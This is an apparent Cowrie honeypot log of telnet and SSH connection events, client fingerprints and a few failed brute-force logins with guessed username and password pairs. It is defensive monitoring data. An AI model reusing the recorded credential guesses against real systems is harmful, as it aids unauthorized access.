{"eventid":"cowrie.session.closed","duration":31.155667066574097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:36:57.222329Z","src_ip":"185.116.212.16","session":"f24ac8408ae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":38584,"dst_ip":"10.17.0.5","dst_port":23,"session":"38697cc639a7","protocol":"telnet","message":"New connection: 46.4.133.15:38584 (10.17.0.5:23) [session: 38697cc639a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:00.792624Z"}
{"eventid":"cowrie.session.closed","duration":30.804703950881958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:00.967653Z","src_ip":"46.4.133.15","session":"ef766a0506fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04445171356201,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:01.136557Z","src_ip":"103.153.64.19","session":"995da80b0afc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":40780,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a00c8b9efcc","protocol":"telnet","message":"New connection: 46.4.133.15:40780 (10.17.0.5:23) [session: 3a00c8b9efcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:01.685028Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":41918,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2fa0c48f3fd","protocol":"telnet","message":"New connection: 46.4.133.15:41918 (10.17.0.5:23) [session: d2fa0c48f3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:02.182499Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.64.19","src_port":34080,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc5b08eaf518","protocol":"telnet","message":"New connection: 103.153.64.19:34080 (10.17.0.5:23) [session: dc5b08eaf518]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:03.730256Z"}
{"eventid":"cowrie.session.closed","duration":31.16605806350708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:03.854722Z","src_ip":"103.153.64.19","session":"a25ecb8adc20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.439600706100464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:04.140977Z","src_ip":"103.153.64.19","session":"06234b1e74e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":50852,"dst_ip":"10.17.0.5","dst_port":23,"session":"81b7335b8953","protocol":"telnet","message":"New connection: 46.4.133.15:50852 (10.17.0.5:23) [session: 81b7335b8953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:06.361648Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":51630,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fda28397a93","protocol":"telnet","message":"New connection: 46.4.133.15:51630 (10.17.0.5:23) [session: 5fda28397a93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:06.774314Z"}
{"eventid":"cowrie.session.closed","duration":30.513700008392334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:07.133464Z","src_ip":"103.153.64.19","session":"29f4cd2a3409","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.128297328948975,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:07.219264Z","src_ip":"103.153.64.19","session":"bbebbe4b0292","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":52672,"dst_ip":"10.17.0.5","dst_port":23,"session":"8301908cf431","protocol":"telnet","message":"New connection: 46.4.133.15:52672 (10.17.0.5:23) [session: 8301908cf431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:07.322168Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":53926,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fce5c0ddf65","protocol":"telnet","message":"New connection: 46.4.133.15:53926 (10.17.0.5:23) [session: 7fce5c0ddf65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:08.020833Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":56880,"dst_ip":"10.17.0.5","dst_port":23,"session":"b41ab8bc0d3f","protocol":"telnet","message":"New connection: 46.4.133.15:56880 (10.17.0.5:23) [session: b41ab8bc0d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:09.496967Z"}
{"eventid":"cowrie.session.closed","duration":30.889227390289307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:10.123889Z","src_ip":"103.153.64.19","session":"501e80d0726e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":58414,"dst_ip":"10.17.0.5","dst_port":23,"session":"230560f2b574","protocol":"telnet","message":"New connection: 46.4.133.15:58414 (10.17.0.5:23) [session: 230560f2b574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:10.282732Z"}
{"eventid":"cowrie.session.closed","duration":30.859253883361816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:10.518653Z","src_ip":"103.153.64.19","session":"a396fa93dc74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":60572,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed85bac28ba3","protocol":"telnet","message":"New connection: 46.4.133.15:60572 (10.17.0.5:23) [session: ed85bac28ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:11.273903Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":37054,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9da953be56b","protocol":"telnet","message":"New connection: 46.4.133.15:37054 (10.17.0.5:23) [session: e9da953be56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:13.627293Z"}
{"eventid":"cowrie.session.closed","duration":30.280699253082275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:13.971870Z","src_ip":"46.4.133.15","session":"8b7d40022c2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40922,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ef0c91e77df","protocol":"ssh","message":"New connection: 159.203.92.129:40922 (159.203.135.109:22) [session: 3ef0c91e77df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:14.551417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:14.554808Z","src_ip":"159.203.92.129","session":"3ef0c91e77df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:14.558758Z","src_ip":"159.203.92.129","session":"3ef0c91e77df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"azraeluzd","message":"login attempt [admin/azraeluzd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:14.569228Z","src_ip":"159.203.92.129","session":"3ef0c91e77df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":47946,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c800b62de2e","protocol":"ssh","message":"New connection: 103.172.20.218:47946 (159.203.135.109:22) [session: 6c800b62de2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:15.086435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:15.091000Z","src_ip":"103.172.20.218","session":"6c800b62de2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:15.318167Z","src_ip":"103.172.20.218","session":"6c800b62de2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:15.575404Z","src_ip":"159.203.92.129","session":"3ef0c91e77df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.441663026809692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:16.150715Z","src_ip":"103.153.64.19","session":"6969593001d3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12345678","message":"login attempt [deployer/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:16.260892Z","src_ip":"103.172.20.218","session":"6c800b62de2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.457611799240112,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:17.131244Z","src_ip":"103.153.64.19","session":"f47eaaa41341","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809906244277954,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:17.148877Z","src_ip":"103.153.64.19","session":"00597ad0c262","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:17.490557Z","src_ip":"103.172.20.218","session":"6c800b62de2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.480326652526855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:18.153290Z","src_ip":"103.153.64.19","session":"9a8dd016a8e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":47272,"dst_ip":"10.17.0.5","dst_port":23,"session":"19d988248077","protocol":"telnet","message":"New connection: 46.4.133.15:47272 (10.17.0.5:23) [session: 19d988248077]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:19.213373Z"}
{"eventid":"cowrie.session.closed","duration":30.56263566017151,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:23.216503Z","src_ip":"46.4.133.15","session":"fea33b4bd5ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":56146,"dst_ip":"10.17.0.5","dst_port":23,"session":"935c60ceaff8","protocol":"telnet","message":"New connection: 46.4.133.15:56146 (10.17.0.5:23) [session: 935c60ceaff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:23.711616Z"}
{"eventid":"cowrie.session.closed","duration":30.627259254455566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:23.952247Z","src_ip":"46.4.133.15","session":"f09b13795aa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786714792251587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:24.179508Z","src_ip":"46.4.133.15","session":"02430a6004ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.352243661880493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:24.996841Z","src_ip":"46.4.133.15","session":"9882fcedeae8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6490478515625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:25.167768Z","src_ip":"103.153.64.19","session":"31d875a02aec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":33346,"dst_ip":"10.17.0.5","dst_port":23,"session":"339e25cea8c7","protocol":"telnet","message":"New connection: 46.4.133.15:33346 (10.17.0.5:23) [session: 339e25cea8c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:26.815951Z"}
{"eventid":"cowrie.session.closed","duration":30.532667875289917,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:27.004992Z","src_ip":"46.4.133.15","session":"24365569b48c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190452575683594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:27.180980Z","src_ip":"103.153.64.19","session":"c475ec1c6042","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25442099571228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:31.046963Z","src_ip":"46.4.133.15","session":"38697cc639a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.740793704986572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:32.425694Z","src_ip":"46.4.133.15","session":"3a00c8b9efcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861563444137573,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:33.043941Z","src_ip":"46.4.133.15","session":"d2fa0c48f3fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47845458984375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:34.208416Z","src_ip":"103.153.64.19","session":"dc5b08eaf518","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.599284887313843,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:36.960840Z","src_ip":"46.4.133.15","session":"81b7335b8953","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060662031173706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:37.834850Z","src_ip":"46.4.133.15","session":"5fda28397a93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63707971572876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:37.959080Z","src_ip":"46.4.133.15","session":"8301908cf431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938731908798218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:38.959431Z","src_ip":"46.4.133.15","session":"7fce5c0ddf65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.572993516921997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:40.069852Z","src_ip":"46.4.133.15","session":"b41ab8bc0d3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.676379680633545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:40.958995Z","src_ip":"46.4.133.15","session":"230560f2b574","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64984965324402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:42.923640Z","src_ip":"46.4.133.15","session":"ed85bac28ba3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.323719024658203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:43.950849Z","src_ip":"46.4.133.15","session":"e9da953be56b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.324434280395508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:50.537657Z","src_ip":"46.4.133.15","session":"19d988248077","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23659586906433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:53.948060Z","src_ip":"46.4.133.15","session":"935c60ceaff8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45238,"dst_ip":"159.203.135.109","dst_port":22,"session":"68d823b58665","protocol":"ssh","message":"New connection: 159.203.92.129:45238 (159.203.135.109:22) [session: 68d823b58665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:56.643088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:56.648124Z","src_ip":"159.203.92.129","session":"68d823b58665","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:56.653816Z","src_ip":"159.203.92.129","session":"68d823b58665","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"bhfiR3jfH%bcxtu8","message":"login attempt [admin/bhfiR3jfH%bcxtu8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:56.666171Z","src_ip":"159.203.92.129","session":"68d823b58665","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.16223382949829,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:56.978074Z","src_ip":"46.4.133.15","session":"339e25cea8c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:57.672983Z","src_ip":"159.203.92.129","session":"68d823b58665","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.133.15","src_port":46186,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d242a1fcb5b","protocol":"telnet","message":"New connection: 46.4.133.15:46186 (10.17.0.5:23) [session: 6d242a1fcb5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:37:57.975592Z"}
